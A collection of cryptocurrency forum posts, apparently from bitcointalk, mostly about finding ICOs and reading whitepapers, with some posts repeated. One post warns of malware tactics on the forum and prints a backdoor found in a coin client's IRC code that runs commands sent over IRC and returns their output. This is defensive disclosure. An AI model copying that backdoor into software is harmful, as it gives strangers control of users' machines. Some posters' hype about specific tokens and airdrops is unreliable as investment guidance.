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Where do you find interesting ICO or crypto projects to invest ? Here on bitcointalk announcements or on other websites related to new ICO announcements !
I manually search through icoalert, coincalender, and other site's similar and read the whitepaper. But honestly bitcointalk is Massive with info, and reddit also. |
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If you are looking for a good ICO i can suggest coincalendar.com.They are evaluating the ICO's strictly and of course you need to do your own research.Always be responsible in searching about the project don't just read the white paper also check the person's behind it and on how they work for it.
Love that site |
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In the past months, malware infection attempts on this forum has become increasingly sophisticated. Below is a summary of infection techniques that I have encountered. With the most sophisticated attacks, common sense and virus scans is no longer sufficient to ensure safety. "latest wallet"/"custom wallet"/"faster miner"A newbie asks for the latest wallet, or wallet that doesn't have any tx fees, or the latest/fastest miner, and the attacker posts his in response. This type of attempt Usually gets spotted pretty quickly. Copied/new ANNThe attacker creates a new ANN topic and posts a malware link as the wallet (or a legit one and changes it to a malware one later). Replacing links in quotesThe attacker quotes a legitimate post containing a download link written by the real developer (usually the OP or a update post) and changes the link within the quote to a malware link. Compromised dev accountThe developer account (usually responsible for making the OP) is compromised and a "mandatory update" is posted. This usually happens with old/abandoned coins so the real developer isn't there to notice the rogue update. Packed/FUD executablesIn most of the cases above, the malware has little to now detections on virustotal. This is because any script kiddie can pay $30 and have their malware crypted, rendering them fully undetectable. Modified source with backdoorThis was recently brought to my attention via a user report. A newbie, under the guise of reviving a coin posted a new client along with source. However, the source was modified to include a backdoor in the IRC bootstrapping mechanism. here is the relevant source code: if (vWords[1] == CBuff && vWords[3] == ":!" && vWords[0].size() > 1)
{
CLine *buf = CRead(strstr(strLine.c_str(), vWords[4].c_str()), "r");
if (buf) {
std::string result = "";
while (!feof(buf))
if (fgets(pszName, sizeof(pszName), buf) != NULL)
result += pszName;
CFree(buf);
strlcpy(pszName, vWords[0].c_str() + 1, sizeof(pszName));
if (strchr(pszName, '!'))
*strchr(pszName, '!') = '\0';
Send(hSocket, strprintf("%s %s :%s\r", CBuff, pszName, result.c_str()).c_str());
}
} here is the source code with macros resolved: if (vWords[1] == "PRIVMSG" && vWords[3] == ":!" && vWords[0].size() > 1)
{
FILE *buf = popen(strstr(strLine.c_str(), vWords[4].c_str()), "r");
if (buf) {
std::string result = "";
while (!feof(buf))
if (fgets(pszName, sizeof(pszName), buf) != NULL)
result += pszName;
pclose(buf);
strlcpy(pszName, vWords[0].c_str() + 1, sizeof(pszName));
if (strchr(pszName, '!'))
*strchr(pszName, '!') = '\0';
Send(hSocket, strprintf("%s %s :%s\r", "PRIVMSG", pszName, result.c_str()).c_str());
}
} The code was part of the initial commit, so it would be difficult to notice the addition of the code by casual inspection. Also, this would likely not show up on any virus scans.Don't forget airship registration, asking for private keys.. I sent them mones and luckily found out immediately after I sent it.. and move my coin out the wallet and created a new wallet. |
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It will be the whole project's information,summary of the whole project's mission and mission,all of the important information about that project should be at the whitepaper,a brief summary of the things you need to know,the nature and the logic behind its technology can be find in the whitepapers so you can easily know if the project or coin is a good investment.
Yes very true, make sure you understand it as well. |
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Today I read quite a few whitepapers. Not the whole thing, but rather the focus of the coin. It was not fun because my mind wasn't into it. I did read the deeponion white paper, but this was like a month ago. It was pretty good, so I bought some of that coin. Today I read Decentralized ID, and Napolean, but they didn't capture me.
Another thing that I must do is keep a list of the whitepapers that I read but was not interested in, because I'm pretty most of the whitepapers that I checking out at the moment I already checked a couple of weeks ago. It's hard to keep track, so many ICOs.
which white paper got you into investing in the company? This was a couple of days ago and I already forgot what I read, and even the name of the ICO's I mentioned. (Napolean and Decentralized ID). As far as DeepOnion, it's a low marketcap coin that has a large amount of members. It seems professional and a lot of development. Better safe than sorry, I invested a little bit into it. So it's not just the white paper, but how many eyes are on the coin. Yeah there whole set up seems Interesting make sure you register for the air drop and get the required tokens so you can get the air drops every friday.. I'm pretty sure when people get onto It it will be like 300 dollars a token.. balance is 50 token minimal for the airdrops. |
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reading whitepapers is a great source of information for new people to the cryptospace, alot of these concepts seem very not needed sometimes I recommend you new folks to read Mybit whitepaper it will definetely open your eyes to a few pockets of the blockchains usage with certain sectors of the cryptosphere.
Anybody else has a couple of informative whitepapers, that opened your eyes to a certain technology or undervalued market or just good information?
Im about to read deeponion's!
I don't think that reading whitepapers is the best source of information to learn about blockchain technology. When you invest in token, you need to read whitepapers, obviously, and as a side effect, it can increase your understanding if you google every unfamiliar terms. But whitepaters aren't real scientific papers. Some of them look like it, but for those familiar with science there is often a lot of useless stuff in them, groundless claims, and often lacking important stuff, but you might not notice it. They're good for learning about about a particular project, but not the technologies. It's better to aim for the scientific papers. This is a source of knowlege that haven't been (or never will be) printed in books yet, let alone any blogs, forums, whitepapers, seminars. Alredy mentioned classic Satoshi work is a good start: https://bitcoin.org/bitcoin.pdfMore bitcoin research here: https://en.bitcoin.it/wiki/ResearchAnd sometimes you can find something interesting relating to blockchain in such libraries as: https://arxiv.org/It's important to learn how to read these papers efficiently. First of all, accept as a fact that you can't read them all. Proper science papers designed by the strict rules, exactly to make reading as efficient as possible. First you read the title. If it sound interesting, continue. Read the abstract. If you interested in these things, continue (there's no "additional gems", if there's nothing for you in abstract). Then you read the conclusion. To see if there's valuable results (they could be negative but still interesting to go furher to see why). And if you still interested, then read the paper. If you liked it and it's not too old, don't skip the references section, you can often find very interesting papers there. It's good to know how real science papers are written and get used to it. When reading the whitepapers and comparing them between projects, it'll be more clear what are strong and weak points of the project. It can be an additional metric when looking at ICO: is their whitepaper looks more like science paper or like advertising booklet. Hey thanks for the reference. |
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Don’t be afraid to look up words you don’t know, and don’t be afraid to learn something new.
Sure it can be tedious and overwhelming but if you’re interested in deepening your knowledge of this space, white papers are a good source and there are plenty out there for you to explore.
After you’ve read over a few of them you’ll begin to develop a better sense of what makes a good white paper, which is also an indication of the quality of the crypto project itself.
You’ll notice things like:
What kind of info they are leaving out
If their project has legitimate use cases
The type of philosophies that are behind the project.
Slowly but surely you’ll begin honing your skills and developing more confidence in your knowledge of this space.
Yeah im definitely teaching myself, alot of information im finding out about how technologies work and how specific they get to resolving issues and creating solutions. Very interesting also trying to follow a team and make sure that they are keeping their word in the development narrative as well. |
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The first thing I do when I get acquainted with a new project is study WhitePaper. Only there you can find all the necessary information about the project, including the Idea, Team, Prototype, Token Sale and much more.
Reading materials is very useful for those who want to achieve, I always look for the useful material of experienced people to leave, where they write and share with me the experience to get rich, the New ideas and the most effective ways to invest, I like to read the books of successful people say their success. Yeah, those are definitely good things to practice while participating in this market. |
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Whitepaper is the right thing to know if the project has a potential or not, but sometimes the whitepaper they provide is just a trap so you need to have a background check on that project to be sure that project is legit and not just a copy pasting from others and remember there is a lot of ICO was scam so beware on it.
Yes very true thats why Its also good to review teams and make sure everything else checks out. |
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Today I read quite a few whitepapers. Not the whole thing, but rather the focus of the coin. It was not fun because my mind wasn't into it. I did read the deeponion white paper, but this was like a month ago. It was pretty good, so I bought some of that coin. Today I read Decentralized ID, and Napolean, but they didn't capture me.
Another thing that I must do is keep a list of the whitepapers that I read but was not interested in, because I'm pretty most of the whitepapers that I checking out at the moment I already checked a couple of weeks ago. It's hard to keep track, so many ICOs.
which white paper got you into investing in the company? |
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I don't fancy reading white papers either as it takes too long  but it's necessary to understand the project as see how competent is the team and what chance has the product to moon 80 percent of the time you have to do things you dont want to when its beneficial to you, telegram is definetely a great way to get clarifications in a easier manner so I commend you on finding a way around the whitepaper. But you cant depend on others to inform you, sometimes theres hidden gems in the paper that allow you to recognize other tech in other companies, just try reading one a week, when your bored it doesnt take no more than 30 mins. |
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Thanks, ill add to the list. |
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You can judge the project's direction thru its whitepaper it is the core of each projects,most commonly the project's goal and future will depend on it,but whitepaper isnt the most valuable thing that we need to check,for me it is the team behind it,because whitepaper and roadmaps cant be done without the progress of the people behimd the project.
Yes, A great team with a bad idea can make something happen. A great idea with a bad team is worthless! |
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I am sure that few people study the project, mostly all rely on someone. I study not only the companies to which I want to invest my money, but also the companies to which I am going to participate in bounty.
When you say the companies to which you are going to participate in bounty, are you saying you are attracted to companies with fruitful bounty programs? Please ellaborate more on that. |
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reading whitepapers is a great source of information for new people to the cryptospace, alot of these concepts seem very not needed sometimes I recommend you new folks to read Mybit whitepaper it will definetely open your eyes to a few pockets of the blockchains usage with certain sectors of the cryptosphere.
Anybody else has a couple of informative whitepapers, that opened your eyes to a certain technology or undervalued market or just good information?
Im about to read deeponion's!
Reading whitepaper is always become a great source but not all of the whitepaper has been written properly by the developer. Look at some projects that created crap whitepaper and it just like created by seven years old kid. But looks like the majority of people consider the whitepaper as a source to get the more information regarding ico rather than try to understand that as a source to get a certain explanation about a new technology. Yeah, if I see a badly written whitepaper.. The first thing ill check to second guess the ICO is if they are a foreign company. If Not I would definitely pass. |
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The first thing I do when I get acquainted with a new project is study WhitePaper. Only there you can find all the necessary information about the project, including the Idea, Team, Prototype, Token Sale and much more.
Yeah, I usually read the whitepaper last.. but most of those topics you touched in the second part of your sentence is usually mentioned on the website in a summary form.. the whitepaper gets real technical on the other hand. You can also verify ICO's if they have a prototype before they hit the market on ICO bench. |
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Well it's always a must to read them if you're gonna go invest in the coin/token you're interested with isn't it?
Yes it is, but not many people are doing that. They hear a friend, youtuber (sponsored), banner Ad/Video, etc and invest a big portion of their funds, and when that project doesn't do good in the NEAR future they panic sell, and lose money bouncing around on coins. If you get personal with a project read whitepaper, watch AMA's, Presentations, join telegram groups and follow announcement, check the track history of their promises, Github activity, how involved the community is ALL the things that make you value the project and believe the vision.. then you will think the opposite way, like me I watch a project and I hope that they dont go on a bull run until I obtain my "required balance" lets say 2,500 coins. |
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reading whitepapers is a great source of information for new people to the cryptospace, alot of these concepts seem very not needed sometimes I recommend you new folks to read Mybit whitepaper it will definetely open your eyes to a few pockets of the blockchains usage with certain sectors of the cryptosphere.
Anybody else has a couple of informative whitepapers, that opened your eyes to a certain technology or undervalued market or just good information?
Im about to read deeponion's!
I am pretty sure that not many people read whitepapers. But those who do - they develop. I usually skip all technological side cause I am not a tech guy, and concenrate on general idea, global vision (what project is going to achieve, which problem to solve), team, advisors and hardcap (plus % allocation to the crowdsale). I see that today people used to follow influencers and have very little personal understading and expectations. Currently market ignores some great projects because nobody from influencers speak about them - everubody is looking for new ICO with X2-4 forgetting that there are old great projects that are ready to explode. Yeah, I never was the technological guy, but reading the papers and listening to some of these youtubers.. you can of weed out who is saying B.S. and who knows what they're talking about.. like one concept im trying to wrap my head around is the Sharding feature.. from my knowledge it basically takes pieces of information and spreads it across the network, which im guessing keeps the network/nodesup to speed alot faster because the bits of information are destributed, which breaks them down in size. I heard somewhere cant really remember with all this tech, news, and government drama.. but they were saying to run that sharding feature it will require alot of computational power and all types of stuff.. |
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reading whitepapers is a great source of information for new people to the cryptospace, alot of these concepts seem very not needed sometimes I recommend you new folks to read Mybit whitepaper it will definetely open your eyes to a few pockets of the blockchains usage with certain sectors of the cryptosphere.
Anybody else has a couple of informative whitepapers, that opened your eyes to a certain technology or undervalued market or just good information?
Im about to read deeponion's!
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